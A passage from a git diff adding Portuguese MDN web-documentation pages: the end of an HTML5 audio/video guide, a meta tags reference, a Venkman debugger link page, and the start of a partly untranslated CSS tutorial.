href="/En/HTML/Element/Source" title="En/HTML/Element/Source"><code>source</code></a> (en) a fim de proporcionar vídeo/áudio codificados em diferentes formatos para diferentes navegadores. Por exemplo:</p> +<pre class="brush: html"><video controls> + <source src="foo.ogg" type="video/ogg"> + <source src="foo.mp4"> + Your browser does not support the <code>video</code> element. +</video> +</pre> +<p>tocará um arquivo Ogg em navegadores que suportem o formato Ogg. Se o navegador não suportar Ogg, ele tentará usar o arquivo MPEG-4.</p> +<p>Você pode também especificar quais codecs de mídia o arquivo requere; isto permite ao navegador, tomar decisões cada vez mais inteligentes:</p> +<pre class="brush: html"><video controls> + <source src="foo.ogg" type="video/ogg; codecs=&quot;dirac, speex&quot;"> + Your browser does not support the <code>video</code> element. +</video></pre> +<p>Aqui nós especificamos que o vídeo usa os codecs Dirac e Speex. Se o navegador suportar Ogg, mas não os codecs especificados, o vídeo não será carregado.</p> +<p>Se o atributo <code>type</code> não for especificado, o tipo da mídia é obtido pelo servidor e checado para ver se o Gecko pode lidar com ele; se ele não puder ser renderizado, a próxima fonte é checada. Se nenhum dos elementos <span style="font-family: monospace;">source</span> especificados puder ser usado, um evento <code>error</code> é expedido para o elemento <code>video</code>. Se o atributo <code>type</code> é especificado, ele é comparado com os tipos que o Gecko pode tocar, e se não for reconhecido, o servidor não é nem mesmo requisitado; ao invés disso, a próxima fonte é checada uma vez.</p> +<h2 id="Controlando_a_reprodução_de_mídia">Controlando a reprodução de mídia</h2> +<p>Uma vez que você tenha adicionado mídia no seu documento HTML, usando os novos elementos, você pode controlá-la programaticamente através do seu código JavaScript. Por exemplo, para começar (ou recomeçar) uma reprodução, você pode fazer isto:</p> +<pre class="brush: js">var v = document.getElementsByTagName("video")[0]; +v.play(); +</pre> +<p>A primeira linha busca o elemento video no documento e a segundo chama o método <a class="external" href="/En/NsIDOMHTMLMediaElement#play()" title="https://developer.mozilla.org/editor/fckeditor/core/editor/En/NsIDOMHTMLMediaElement#play()"><code>play()</code></a> do elemento, como definido na interface {{ interface("nsIDOMHTMLMediaElement") }} que é usada para implementar elementos de mídia.</p> +<h2 id="Eventos_de_mídia">Eventos de mídia</h2> +<p>Diversos eventos são enviados durante o manuseio de mídia:</p> +<table class="standard-table"> <tbody> <tr> <td class="header">Nome do evento</td> <td class="header">Descrição</td> </tr> <tr> <td><code>abort</code></td> <td>Enviado quando a reprodução é abortada; por exemplo, se a mídia estiver tocando e for reiniciada, este evento é enviado.</td> </tr> <tr> <td><code>canplay</code></td> <td>Enviado quando há dados suficientes disponíveis para que a mídia seja tocada, ao menos por alguns quadros. Corresponde ao <code>CAN_PLAY</code> <code>readyState</code>.</td> </tr> <tr> <td><code>canplaythrough</code></td> <td>Enviado quando o estado pronto muda para <code>CAN_PLAY_THROUGH</code>, indicando que a mídia inteira pode ser tocada sem interrupção, assumindo que a taxa de download permaneça ao menos no nível atual.</td> </tr> <tr> <td><code>canshowcurrentframe</code></td> <td>O quadro atual carregou e pode ser apresentado. Isto corresponde ao <code>CAN_SHOW_CURRENT_FRAME</code> <code>readyState</code>.</td> </tr> <tr> <td><code>dataunavailable</code></td> <td>Enviado quando o estado pronto muda para <code>DATA_UNAVAILABLE</code>.</td> </tr> <tr> <td><code>durationchange</code></td> <td>Os metadados foram carregados ou modificados, indicando uma mudança na duração da mídia. Isto é enviado, por exemplo, quando a mídia carregou o suficiente para se saber a sua duração.</td> </tr> <tr> <td><code>emptied</code></td> <td>A mídia torna-se vazia; por exemplo, este evento é enviado se a mídia já foi carregada (ou parcialmente carregada), e o método <a class="internal" href="/En/nsIDOMMediaHTMLElement#load()" title="En/nsIDOMMediaHTMLElement#load()"><code>load()</code></a> é chamado para recarregar isto.</td> </tr> <tr> <td><code>empty</code></td> <td>Enviado quando um erro ocorre e a mídia está vazia.</td> </tr> <tr> <td><code>ended</code></td> <td>Enviado quando a reprodução termina.</td> </tr> <tr> <td><code>error</code></td> <td>Enviado quando um erro ocorre. O atributo <code>error</code> do elemento contém mais informações.</td> </tr> <tr> <td><code>load</code></td> <td>A mídia foi completamente obtida.</td> </tr> <tr> <td><code>loadedfirstframe</code></td> <td>O primeiro quadro de mídia terminou de carregar.</td> </tr> <tr> <td><code>loadedmetadata</code></td> <td>Os metadados da mídia terminaram seu carregamento; todos os atributos agora contém toda a informação que poderiam ter.</td> </tr> <tr> <td><code>loadstart</code></td> <td>Enviado quando o carregamento da mídia inicia.</td> </tr> <tr> <td><code>pause</code></td> <td>Enviado quando a reprodução é pausada.</td> </tr> <tr> <td><code>play</code></td> <td>Enviado quando a reprodução começa ou continua.</td> </tr> <tr> <td><code>ratechange</code></td> <td>Enviado quando a velocidade da reprodução muda.</td> </tr> <tr> <td><code>seeked</code></td> <td>Enviado quando uma operação solicitada se completa.</td> </tr> <tr> <td><code>seeking</code></td> <td>Enviado quando uma operação solicitada começa.</td> </tr> <tr> <td><code>timeupdate</code></td> <td>O tempo indicado pelo atributo <code>currentTime</code> do elemento mudou.</td> </tr> <tr> <td><code>volumechange</code></td> <td>Enviado quando o volume do áudio muda (tanto quando o volume é configurado, quando o atributo <code>muted</code> é mudado).</td> </tr> <tr> <td><code>waiting</code></td> <td>Enviado quando a operação requisitada (como a reprodução) é adiada até que se complete outra operação (como uma solicitação).</td> </tr> </tbody> +</table> +<p>Você pode facilmente assistir a estes eventos usando o seguinte código:</p> +<pre>var v = document.getElementsByTagName("video")[0]; + +v.addEventListener("seeked", function() { document.getElementsByTagName("video")[0].play(); }, true); +v.currentTime = 10.0; +</pre> +<p>Este exemplo busca o primeiro elemento video no documento e anexa um evento <strong>listener</strong> a ele, olhando para o evento solicitado, que é enviado sempre que uma operação solicitada é completada. O <strong>listener</strong> simplesmente pede ao método <code>play()</code> do elemento, que inicia a reprodução.</p> +<p>Então, na linha 4, o exemplo configura o atributo <code>currentTime</code> do elemento para 10.0, o que inicia uma operação de solicitação até a marca de 10 segundos na mídia. Isto causa o envio de um evento <code>seeking</code> quando a operação começa, então um evento <code>seeked</code> é expedido quando a solicitação é completada.</p> +<p>Em outras palavras, este exemplo solicita até os 10 segundos da marca na mídia, e então começa a reprodução assim que a solicitação é finalizada.</p> +<h2 id="Opções_de_fallback">Opções de fallback</h2> +<p>O código HTML incluído entre, por exemplo, as tagas <code><video></code> e <code></video></code> é processado por navegadores que não suportam o elemento <code>media</code> do HTML 5. Você pode tirar vantagem deste fato para proporcionar um <strong>fallback</strong> de mídia alternativa para estes navegadores.</p> +<p>Esta seção proporciona duas possíveis opções de <strong>fallback</strong> para vídeo. Em cada caso, se o navegador suportar o elemento <code>video</code> do HTML 5, este será usado; caso contrário, a opção <strong>fallback</strong> será usada.</p> +<h3 id="Usando_Flash">Usando Flash</h3> +<p>Você pode usar o Flash para tocar um filme em formato Flash se o elemento <code>video</code> não for suportado:</p> +<pre class="brush: html"><video src="video.ogv" controls> + <object data="flvplayer.swf" type="application/x-shockwave-flash"> + <param value="flvplayer.swf" name="movie"/> + </object> +</video> +</pre> +<p>Note que você não inclui <code>class</code> ou<code> id</code> na tag <code>object</code> para que seja compatível com outros navegadores além do Internet Explorer.</p> +<h3 id="Tocando_vídeos_Ogg_usando_um_miniaplicativo_Java">Tocando vídeos Ogg usando um miniaplicativo Java</h3> +<p>Aqui está um miniaplicativo Java chamado <a class="external" href="http://maikmerten.livejournal.com/2256.html" title="http://maikmerten.livejournal.com/2256.html">Cortado</a> que você pode usar como <strong>fallback</strong> para tocar vídeos Ogg em navegadores que tenham suporte a Java, mas não ao elemento <code>video do HTML 5<span style="font-family: Verdana,Tahoma,sans-serif;">:</span></code></p> +<pre class="brush: html"><video src="my_ogg_video.ogg" controls width="320" height="240"> + <object type="application/x-java-applet" + width="320" height="240"> + <param name="archive" value="cortado.jar"> + <param name="code" value="com.fluendo.player.Cortado.class"> + <param name="url" value="my_ogg_video.ogg"> + </object> +</video> +</pre> +<h2 id="Veja_também">Veja também</h2> +<ul> <li><a class="internal" href="/Pt/HTML/Elemento/Audio" title="Pt/HTML/Elemento/Audio"><code>audio</code></a></li> <li><a class="internal" href="/Pt/HTML/Elemento/Video" title="Pt/HTML/Elemento/Video"><code>video</code></a></li> <li><a class="internal" href="/En/HTML/Element/Source" title="En/HTML/Element/Source"><code>source</code></a> (EN)</li> <li><a class="internal" href="/En/Manipulating_video_using_canvas" title="En/Manipulating video using canvas">Manipulating video using canvas</a> (EN)</li> <li>{{ interface("nsIDOMHTMLMediaElement") }}</li> <li><a class="internal" href="/En/Media_formats_supported_by_the_audio_and_video_elements" title="En/Media formats supported by the audio and video elements">Media formats supported by the audio and video elements</a> (EN)</li> +</ul> +<p> {{ languages( { "en": "en/Using audio and video in Firefox", "fr": "fr/Utilisation_d'audio_et_video_dans_Firefox", "es": "es/Etiquetas audio y video en Firefox" } ) }}</p> diff --git a/files/pt-pt/orphaned/utilizando_meta_tags/index.html b/files/pt-pt/orphaned/utilizando_meta_tags/index.html new file mode 100644 index 0000000000..5ccaa1a490 --- /dev/null +++ b/files/pt-pt/orphaned/utilizando_meta_tags/index.html @@ -0,0 +1,377 @@ +--- +title: Utilizando meta tags +slug: Utilizando_meta_tags +tags: + - HTML + - Todas_as_Categorias +--- +<p> </p> + +<p>Meta dados incorporados ao código XHTML são, na verdade, estruturas de dados sobre os próprios dados, uma breve descrição do conteúdo da página, seu autor, data de criação, linguagem e outras informações relevantes.</p> + +<p>Alguns sistemas de busca dão aos conteúdos das meta tags uma forte ênfase no ranking dos sites, a maioria deles indexa os dados das meta tags description e keywords como sumários da página.</p> + +<p>Se estas tags forem usadas correta e racionalmente elas podem aumentar a relevância nos resultados de busca o que é vantajoso tanto para o proprietário do site quanto para seu usuário.</p> + +<h3 id="Pr.C3.B3s_e_Contras" name="Pr.C3.B3s_e_Contras">Prós e Contras</h3> + +<p>Como qualquer ferramenta, a utilização das meta tags tem seus prós e contras, vale ressaltar que o uso consciente de suas potencialidades pode praticamente anular seu lado negativo. Seguem algumas dicas:</p> + +<p><strong>Mantenha as meta tags simples e concisas</strong>: Descrições muito longas e palavras-chave em excesso serão ignoradas por alguns buscadores, inclusive, alguns deles indexam apenas as seis primeiras keywords. Sistemas de indexação podem também identificar o chamado "metatag spamming", onde as palavras-chave são repetidas várias vezes, penalizando, assim, o site em seu ranking.</p> + +<p><strong>Dê prioridade às palavras-chave mais importantes</strong>: Uma vez que alguns sistemas de indexação lêem somente algumas das keywords é importante listar as mais importantes primeiro.</p> + +<p><strong>Evite o uso da meta tag REFRESH para redirecionamento</strong>: Antigamente muito usada, hoje deve ser evitada, primeiramente porque ela tende a confundir os bancos de dados dos sistemas de indexação e depois porque confundem também ao usuário, especialmente os que porventura estejam navegando com leitores de tela.</p> + +<p><strong>Não abuse das meta tags</strong>: Meta tags fornecem informações usadas para categorizar, priorizar e rankear websites além de controlar seu conteúdo pelos webmasters e/ou autores, mas este privilégio não deve ser abusado. Como dito anteriormente muitos sistemas de indexação são "inteligentes" o suficientes para perceber quando há este tipo de abuso, penalizando o site em sua colocação no ranking.</p> + +<p><strong>Para o Google, elas não existem</strong>! Devido à grande quatidade de "metatag spamming" o robô de busca do Google foi programado para ignorá-las! Ele indexa parte do conteúdo da própria página em seu banco de dados ao invés da "description".</p> + +<h3 id="Tipos_de_meta_tags" name="Tipos_de_meta_tags">Tipos de meta tags</h3> + +<h4 id="HTTP-EQUIV" name="HTTP-EQUIV">HTTP-EQUIV</h4> + +<p>Meta tags com o atributto HTTP-Equiv são equivalentes aos cabeçalhos http. Normalmente elas controlam as ações dos browsers e podem ser usadas para melhor especificar as informações.</p> + +<p>Tags usadas desta forma têm um efeito equivalente quando sendo usadas como um cabeçalho HTTP.</p> + +<p>Nota: Enquanto este tipo de meta tags funciona normalmente no Netscape, outros browsers podem ignorá-las. Elas também são ignoradas por servidores proxy, que vêm se tornando muito comuns. É mais recomendável usar o cabeçalho HTTP equivalente, como, por exemplo, do Apache.</p> + +<p>Os cabeçalhos HTTP são definidos em</p> + +<p><a class="external" href="http://www.alternic.org/rfcs/rfc1900/rfc1945.txt">HTTP 1.0</a> e <a class="external" href="http://www.alternic.org/rfcs/rfc2000/rfc2068.txt">HTTP 1.1</a></p> + +<p>Estes cabeçalhos podem ser gerados por scripts CGI e no Apache usando um arquivo contendo meta dados.</p> + +<h4 id="Name" name="Name">Name</h4> + +<p>Meta tags com o atributo "name" são usadas para tipos que não correspondem a cabeçalhos HTTP. Muitas vezes esta distinção é ignorada. Por exemplo, alguns buscadores reconhecem a meta tag "Keywords" com o tipo "http-equiv", outros com o tipo "name".</p> + +<h4 id="Dublin_Core" name="Dublin_Core">Dublin Core</h4> + +<p>Com o objetivo de melhorar a indexação das páginas pelos motores de busca, muitos grupos de desenvolvedores acabam criando sua própria "liguagem de metatags", a mais popular delas pertence ao projeto Dublin Core iniciado em 1995 buscando, segundo organizadores, mais flexibilidade para os autores.</p> + +<p>Site oficial do projeto: <a class="external" href="http://www.dublincore.org" rel="freelink">http://www.dublincore.org</a></p> + +<h3 id="Lista_de_Metatags.2C_atributos_e_especifica.C3.A7.C3.B5es" name="Lista_de_Metatags.2C_atributos_e_especifica.C3.A7.C3.B5es">Lista de Metatags, atributos e especificações</h3> + +<p>Apesar de todo o alvoroço existente em torno dos meta dados, muitas pessoas ainda não tem um conhecimento adequado da maioria dos recursos que estas ferramentas proporcionam, abaixo segue uma lista das principais meta tags, seus valores e funcionalidades.</p> + +<p><strong>Nota</strong>: As palavras-chave "http-equiv", "name" e "content" são case-insensitive, assim como seus valores, mas segundo as especificações do XHTML, todo o código deve ser em letras minúsculas.</p> + +<h4 id="Author" name="Author">Author</h4> + +<p>O nome do autor da página.</p> + +<pre><meta name="author" content="André" /> +</pre> + +<h4 id="Cache-Control" name="Cache-Control">Cache-Control</h4> + +<p>Esta tag é apenas reconhecida pelo http 1.1 e permite os seguintes valores:</p> + +<ul> + <li>Public: Os dados da página podem ser armazenados de forma compartilhada, isto é, será utilizado por diferentes usuários de um mesmo browser (Notar que só é possível especificar usuários de browser no Firefox e Opera).</li> +</ul> + +<ul> + <li>Private: É o contrário de public, o cache é armazenado para um específico usuário.</li> +</ul> + +<ul> + <li>No-Cache: A página não é armazenada em Cache.</li> +</ul> + +<ul> + <li>No-Store: É feito um cache temporário, a página não é arquivada.</li> +</ul> + +<p><strong>Nota</strong>: A diretiva "cache-control:no-cache" tem a mesma função de "pragma:no-cache". O ideal quando se usa essa instrução é utilizar ambas as formas caso não se saiba se o servidor é ou não compatível com o HTTP 1.1.</p> + +<pre><meta http-equiv="cache-control" content="no-cache" /> +</pre> + +<h4 id="Content-language" name="Content-language">Content-language</h4> + +<p>Declara a(s) linguagem(ns) natural(is) do documento. Pode ser usada pelos motores de busca para categorizar por idioma.</p> + +<pre><meta http-equiv="content-language" content="pt-br, en-US, fr" /> +</pre> + +<ul> + <li>Content-type: Define o tipo de conteúdo da página e o tipo de codificação de caracteres. Pode-se dizer que é a meta tag mais importante, sempre deve ser usada.</li> +</ul> + +<pre><meta http-equiv="content-type" content="text/html; charset=UTF-8" /> +</pre> + +<h4 id="CopyRight" name="CopyRight">CopyRight</h4> + +<p>Como o nome já diz declara o direito autoral da página.</p> + +<pre><meta name="copyright" content="© 2004 tex texin" /> +</pre> + +<h4 id="Description" name="Description">Description</h4> + +<p>Contém uma descrição da página</p> + +<pre><meta name="description" content="...resumo da página..." /> +</pre> + +<h4 id="Expires" name="Expires">Expires</h4> + +<p>A data e a hora depois dos quais o documento deve ser considerado como expirado. Uma data ilegal como, por exemplo "0" é considerada como "agora".</p> + +<p>Configurar "Expires" como "0" pode também ser usado para forçar uma nova checagem a cada visita do robô de busca.</p> + +<p><strong>Nota</strong>: Alguns robôs de busca podem deletar um documento de seu banco de dados ao encontrá-lo expirado, outros podem marcar uma revisita</p> + +<pre><meta http-equiv="expires" content = "Mon, 22 jul 2006 11:12:01 GMT" /> +</pre> + +<h4 id="Keywords" name="Keywords">Keywords</h4> + +<p>As keywords tipicamente são usadas por alguns motores de busca para indexar os documentos juntamente com informações encontradas em seu título e body.</p> + +<p>As frases ou palavras devem ser separadas por vírgulas.</p> + +<pre><meta name="keywords" content="..palavras-chave do documento" /> +</pre> + +<h4 id="Pragma_no-cache" name="Pragma_no-cache">Pragma no-cache</h4> + +<p>Faz com que o navegador não armazene a página em cache. Diferencia-se de "cache-control:no-cache" pelo fato de ser reconhecida por todas as versões do HTTP.</p> + +<pre><meta http-equiv="pragma" content="no-cache" /> +</pre> + +<h4 id="Refresh" name="Refresh">Refresh</h4> + +<p>Especifica um tempo em segundos para o browser atualizar a página, opcionalmente pode-se adicionar uma URL para a qual será redirecionado.</p> + +<pre><meta http-equiv="refresh" content="15;url=http://www.thechessman.org" /> +</pre> + +<h4 id="Robots" name="Robots">Robots</h4> + +<p>Especifica informações de indexação para os robôs de busca, suporta os seguintes valores:</p> + +<ul> + <li>All: Valor default, significa vazio, o robô de busca não recebe nenhuma informação.</li> +</ul> + +<ul> + <li>Index: Os robôs de busca podem incluir a página normalmente.</li> +</ul> + +<ul> + <li>Follow: Robôs podem indexar a página e ainda seguir os links para outras páginas que ela contém.</li> +</ul> + +<ul> + <li>NoIndex:Os links podem ser seguidos, mas a página não é indexada.</li> +</ul> + +<ul> + <li>NoFollow: A página é indexada, mas os links não são seguidos.</li> +</ul> + +<ul> + <li>None: Os robôs podem ignorar a página.</li> +</ul> + +<ul> + <li>NoArchive (Apenas Google): A página não é arquivada.</li> +</ul> + +<pre><meta name="robots" content="all" /> +</pre> + +<h4 id="GoogleBoot" name="GoogleBoot">GoogleBoot</h4> + +<p> </p> + +<p>Em adição com a meta tag "Robots", o Google suporta um commando "GoogleBoot". Dizendo ao google que não quer que a página seja indexada.</p> + +<p><strong>Nota</strong>: A página continuará a ser indexada pelos outros buscadores</p> + +<pre><meta name="googlebot" content="NoIndex" /> +</pre> + +<p> </p> + +<h4 id="Imagetoolbar" name="Imagetoolbar">Imagetoolbar</h4> + +<p>No internet explorer elimina aquela pequena barra de opções que aparece ao passarmos o mouse por cima de uma imagem</p> + +<pre><meta http-equiv="imagetoolbar" content="no" /> +</pre> + +<h4 id="Generator" name="Generator">Generator</h4> + +<p>Indica o software usado para criar a página como forma de medir a popularidade do produto.</p> + +<pre><meta name="generator" content="Dreamweaver 8" /> +</pre> + +<h4 id="Revisit-After" name="Revisit-After">Revisit-After</h4> + +<p>Diz para os servidores proxy refazer o cache da página depois de um tempo específico.</p> + +<p>Esta meta tag não faz com que os motores de busca voltem para sua página, eles fazem isso em períodos aleatórios.</p> + +<pre><meta name="revisit-after" content="15 days" /> +</pre> + +<h4 id="Rating" name="Rating">Rating</h4> + +<p>Esta tag funciona para classificar a página por censura, assim como no cinema, suporta os valores:</p> + +<ul> + <li>General: Para qualquer idade</li> +</ul> + +<ul> + <li>14 years: Censura 14 anos</li> +</ul> + +<ul> + <li>Mature: Para pessoas acima de 18 anos</li> +</ul> + +<pre><meta name="rating" content="general" /> +</pre> + +<h4 id="Content-Script-Type" name="Content-Script-Type">Content-Script-Type</h4> + +<p>Define o tipo padrão da linguagem de script do documento.</p> + +<pre><meta http-equiv="content-script-type" content="text/javascript" /> +</pre> + +<h4 id="Content-Style-Type" name="Content-Style-Type">Content-Style-Type</h4> + +<p>Define o tipo padrão de linguagem para estilização do documento.</p> + +<pre><meta http-equiv="content-style-type" content="text/css" /> +</pre> + +<h4 id="DC.title" name="DC.title">DC.title</h4> + +<p>Desempenha a mesma função da tag "title", e deve conter o mesmo valor.</p> + +<pre><meta name="DC.title" content="Mr.TheChessMan - Impressões Ideológicas" /> +</pre> + +<h4 id="DC.Creator" name="DC.Creator">DC.Creator</h4> + +<p>Tem o mesmo papel da meta tag "Author"</p> + +<pre><meta name="DC.creator " content="Gazola, André" /> +</pre> + +<h4 id="DC.Creator.adress" name="DC.Creator.adress">DC.Creator.adress</h4> + +<p>E-mail para contato com o autor da página.</p> + +<pre><meta name="DC.creator.address" content=mr.thechessman@gmail.com" /> +</pre> + +<h4 id="DC.Suject" name="DC.Suject">DC.Suject</h4> + +<p>Tem a mesma função da meta "Keywords".</p> + +<pre><meta name="DC.subject" content="metadata, metatags, dublin core,web design" /> +</pre> + +<h4 id="DC.Description" name="DC.Description">DC.Description</h4> + +<p>Tem a mesma função da meta "Description".</p> + +<pre><meta name="DC.description" content="..aqui vai a descrição da página.." /> +</pre> + +<h4 id="DC.Publisher" name="DC.Publisher">DC.Publisher</h4> + +<p>Nome da organização que é responsável pelo documento.</p> + +<pre><meta name="DC.publisher" content="Info Web Design" /> +</pre> + +<h4 id="DC.Custodian" name="DC.Custodian">DC.Custodian</h4> + +<p>Normalmente, o webmaster responsável pela página.</p> + +<pre><meta name="Custodian" content="Gazola, André" /> +</pre> + +<h4 id="DC.Date.Created" name="DC.Date.Created">DC.Date.Created</h4> + +<p>Data de criação da página no formato AAAA-MM-DD.</p> + +<pre><meta name="DC.date.created" content="2006-02-01" /> +</pre> + +<h4 id="DC.Date.Modified" name="DC.Date.Modified">DC.Date.Modified</h4> + +<p>Última data de modificação do documento, importante para buscas por data.</p> + +<pre><meta name="DC.date.modified" content="2006-02-01" /> +</pre> + +<h4 id="DC.Identifier" name="DC.Identifier">DC.Identifier</h4> + +<p>URL do documento.</p> + +<pre><meta name="DC.Identifier" content="http://www.thechessman.org"> +</pre> + +<h4 id="DC.Format" name="DC.Format">DC.Format</h4> + +<p>Especifica o tipo de dados contidos no documento.</p> + +<ul> + <li>Text/html;</li> +</ul> + +<ul> + <li>Text/xml;</li> +</ul> + +<ul> + <li>Text/html;</li> +</ul> + +<ul> + <li>Image/jpg;</li> +</ul> + +<ul> + <li>Image/gif;</li> +</ul> + +<ul> + <li>Video/quicktime;</li> +</ul> + +<pre><meta name="DC.format" content="text/xhtml" /> +</pre> + +<h4 id="DC.Type" name="DC.Type">DC.Type</h4> + +<p>Text, Home Page, menu, image, vídeo, dados, software ou sound são alguns dos valores suportados.</p> + +<pre><meta name="DC.type" content="text.homepage.institucional" /> +</pre> + +<div class="originaldocinfo"> +<h3 id="Informa.C3.A7.C3.B5es_Sobre_o_Documento_Original" name="Informa.C3.A7.C3.B5es_Sobre_o_Documento_Original">Informações Sobre o Documento Original</h3> + +<ul> + <li>Autor: <a>AndreGazola</a></li> + <li>E-mail: <a class="link-mailto" href="mailto:mr.thechessman@gmail.com" rel="freelink">mr.thechessman@gmail.com</a></li> + <li>Data de atualização: 21/08/2006</li> + <li>Informações de Copyright: <a class="external" href="http://creativecommons.org/licenses/by-nc-sa/2.5/br/">Alguns direitos reservados</a></li> +</ul> +</div> diff --git a/files/pt-pt/orphaned/venkman/index.html b/files/pt-pt/orphaned/venkman/index.html new file mode 100644 index 0000000000..198520d03c --- /dev/null +++ b/files/pt-pt/orphaned/venkman/index.html @@ -0,0 +1,57 @@ +--- +title: Venkman +slug: Venkman +tags: + - Desenvolvimento_Web + - 'Desenvolvimento_Web:Ferramentas' + - 'Extensões:Ferramentas' + - Ferramentas + - JavaScript + - 'JavaScript:Ferramentas' + - Todas_as_Categorias + - Venkman +--- +<p> </p> + +<p>Venkman é um depurar JavaScript baseado no Mozilla.</p> + +<h3 id="Artigos_no_MDC_sobre_Venkman" name="Artigos_no_MDC_sobre_Venkman">Artigos no MDC sobre Venkman</h3> + +<ul> + <li><a href="/en/Venkman_Introduction">en:Venkman Introduction</a></li> + <li><a href="/en/Using_Breakpoints_in_Venkman">en:Using Breakpoints in Venkman</a></li> + <li><a href="/en/Venkman_Internals">en:Venkman Internals</a></li> +</ul> + +<ul> + <li><a href="/Special:Tags?tag=Venkman&language=pt" title="Special:Tags?tag=Venkman&language=pt">Lista alfabética de todas as páginas relacionadas com o Venkman</a></li> +</ul> + +<h3 id="Inicia.C3.A7.C3.A3o_no_Venkman" name="Inicia.C3.A7.C3.A3o_no_Venkman">Iniciação no Venkman</h3> + +<ul> + <li><strong>Mozilla Suite</strong> e <strong>SeaMonkey</strong>: Venkman é uma opção de instalação (escolha Instalação Avançada).</li> + <li><strong>Mozilla Suite</strong>, <strong>SeaMonkey</strong>, <strong>Firefox</strong> e <strong>Thunderbird</strong>: a última versão do Venkman está disponível em <a class="link-https" href="https://addons.mozilla.org/extensions/moreinfo.php?id=216">Mozilla Addons (Complementos Mozilla)</a>.</li> + <li><strong>Nvu</strong> versão está disponível em <a class="external" href="http://glazman.org/nvu/releases/extensions/">glazman.org</a>.</li> +</ul> + +<h3 id="Recursos" name="Recursos">Recursos</h3> + +<p>Siga os seguintes links para mais informações sobre o Venkman:</p> + +<ul> + <li><a class="external" href="http://www.mozilla.org/projects/venkman/">Venkman Homepage</a></li> + <li><a class="external" href="http://www.hacksrus.com/~ginda/venkman/">Venkman Development Page</a></li> + <li><a class="external" href="http://www.hacksrus.com/~ginda/venkman/screenshots/?M=D">Screenshots</a></li> + <li><a class="external" href="http://www.hacksrus.com/~ginda/venkman/faq/venkman-faq.html">FAQ</a></li> + <li>Newsgroup: <a class="external" href="http://groups.google.com/group/mozilla.dev.apps.js-debugger">mozilla.dev.apps.js-debugger</a></li> + <li><a class="external" href="http://www.hacksrus.com/~ginda/venkman/faq/venkman-faq.html#irc">IRC</a>: <a class="link-irc" href="irc://irc.mozilla.org/venkman" rel="freelink">irc://irc.mozilla.org/venkman</a></li> +</ul> + +<ul> + <li><a class="external" href="http://www.svendtofte.com/code/learning_venkman/">"Learning the JavaScript debugger Venkman"</a> by Svend Tofte</li> +</ul> + +<p><span class="comment">Categorias</span></p> + +<p><span class="comment">Interwiki Language Links</span></p> diff --git a/files/pt-pt/orphaned/web/css/como_começar/o_que_é_css_question_/index.html b/files/pt-pt/orphaned/web/css/como_começar/o_que_é_css_question_/index.html new file mode 100644 index 0000000000..d386670557 --- /dev/null +++ b/files/pt-pt/orphaned/web/css/como_começar/o_que_é_css_question_/index.html @@ -0,0 +1,94 @@ +--- +title: O que é CSS? +slug: Web/CSS/Como_começar/O_que_é_CSS? +tags: + - 'CSS:Como_começar' +--- +<p> +</p><p>This page explains what CSS is. +You create a simple document that you will work with on the following pages. +</p> +<h3 id="Information:_What_is_CSS.3F" name="Information:_What_is_CSS.3F"> Information: What is CSS? </h3> +<p>CSS is a language for specifying how documents are presented to users. +</p><p>A <i>document</i> is a collection of information that is structured using a <i>markup language</i>. +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;"> +<caption>Examples +</caption><tbody><tr> +<td> +<ul><li>A web page like this one is a document.<br>The information that you see in a web page is usually structured using the markup language HTML (HyperText Markup Language). +</li></ul> +<ul><li>A dialog in a Mozilla application is a document.<br>The user interface controls that you see in a Mozilla dialog are structured using the markup language XUL (XML User-interface Language). +</li></ul> +</td></tr></tbody></table> +<p>In this tutorial, boxes captioned <b>More details</b> like the one below contain optional information. +If you are in a hurry to progress with the tutorial then you could skip these boxes, perhaps returning to read them later. Otherwise read them when you come to them, and perhaps follow the links to learn more. +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em;"> +<caption>More details +</caption><tbody><tr> +<td> +<p>A document is not the same as a file. It might or might not be stored in a file. +</p><p>For example, the document that you are reading now is not stored in a file. When your web browser requests this page, the server queries a database and generates the document, gathering parts of the document from many files. However, in this tutorial you will work with documents that are stored in files. +</p><p>For more information about documents and markup languages, see other parts of this web site—for example: +</p> +<table style="background-color: inherit; margin-left: 2em;"> +<tbody><tr> +<td><a href="pt/HTML">HTML</a></td><td>for web pages +</td></tr> +<tr> +<td><a href="pt/XML">XML</a></td><td>for structured documents in general +</td></tr> +<tr> +<td><a href="pt/SVG">SVG</a></td><td>for graphics +</td></tr> +<tr> +<td><a href="pt/XUL">XUL</a></td><td>for user interfaces in Mozilla +</td></tr></tbody></table> +<p>In Part II of this tutorial you will see examples of these markup languages. +</p> +</td></tr></tbody></table> +<p><i>Presenting</i> a document to a user means converting it into a form that humans can make use of. Mozilla is designed to present documents visually—for example, on a computer screen, projector or printer. +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em;"> +<caption>More details +</caption><tbody><tr> +<td> CSS is not just for browsers, and not just for visual presentation. In formal CSS terminology, the program that presents a document to a user is called a <i>user agent</i> (UA). A browser is just one kind of UA. However, in Part I of this tutorial you will only work with CSS in a browser. +<p>For some formal definitions of terminology relating to CSS, see <a class="external" href="http://www.w3.org/TR/CSS21/conform.html#q1">Definitions</a> in the CSS Specification. +</p> +</td></tr></tbody></table> +<h3 id="Action:_Creating_a_document" name="Action:_Creating_a_document"> Action: Creating a document </h3> +<p>Use your computer to create a new directory and a new text file there. +The file will contain your document. +</p><p>Copy and paste the HTML shown below. Save the file using the name <code>doc1.html</code> +</p> +<div style="width: 40em;"><pre><!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0//EN"> +<html> + <head> + <title>Sample document</title> + </head> + + <body> + <p> + <strong>C</strong>ascading + <strong>S</strong>tyle + <strong>S</strong>heets + </p> + </body> +</html> +</pre></div> +<p>In your browser, open a new tab or a new window, and open the file there. +</p><p>You should see the text with the initial letters bold, like this: +</p> +<table style="border: 2px outset #36b; padding: 1em;"> +<tbody><tr> +<td> <strong>C</strong>ascading <strong>S</strong>tyle <strong>S</strong>heets +</td></tr></tbody></table> +<p>What you see in your browser might not look exactly the same as this, because of settings in your browser and in this wiki. If there are some differences in the font, spacing and colors that you see, they are not important. +</p> +<h4 id="What_next.3F" name="What_next.3F"> What next? </h4> +<p>If you had difficulty understanding this page, or if you have other comments about it, please contribute to its <a>Discussion</a> page. +</p><p>Your document does not yet use CSS. +On the next page you use CSS to specify its style: +<b><a href="pt/CSS/Getting_Started/Why_use_CSS%3f">Why use CSS?</a></b> +</p>{{ languages( { "en": 